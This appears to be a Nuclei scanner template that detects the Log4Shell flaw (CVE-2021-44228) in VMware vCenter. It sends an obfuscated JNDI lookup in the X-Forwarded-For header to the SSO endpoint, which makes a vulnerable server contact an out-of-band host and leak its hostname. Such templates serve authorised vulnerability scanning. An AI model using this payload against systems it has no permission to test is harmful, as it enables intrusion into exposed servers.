43 lines
1.5 KiB
YAML
43 lines
1.5 KiB
YAML
id: vmware-vcenter-log4j-jndi-rce
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info:
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name: VMware VCenter Log4j JNDI RCE
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author: _0xf4n9x_
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severity: critical
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description: |
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A critical vulnerability in Apache Log4j identified by CVE-2021-44228 has been publicly disclosed that may allow for remote code execution in impacted VMware VCenter.
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reference:
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- https://www.vmware.com/security/advisories/VMSA-2021-0028.html
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- https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
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- https://twitter.com/tnpitsecurity/status/1469429810216771589
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- https://logging.apache.org/log4j/2.x/security.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
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metadata:
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shodan-query: title:"VMware VCenter"
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tags: cve,cve2021,rce,jndi,log4j,vcenter,vmware,oast
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requests:
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- raw:
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- |
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GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
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Host: {{Hostname}}
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X-Forwarded-For: ${jndi:${lower:d}n${lower:s}://${env:hostName}.{{interactsh-url}}}
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable
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extractors:
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- type: regex
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part: interactsh_request
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group: 1
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output |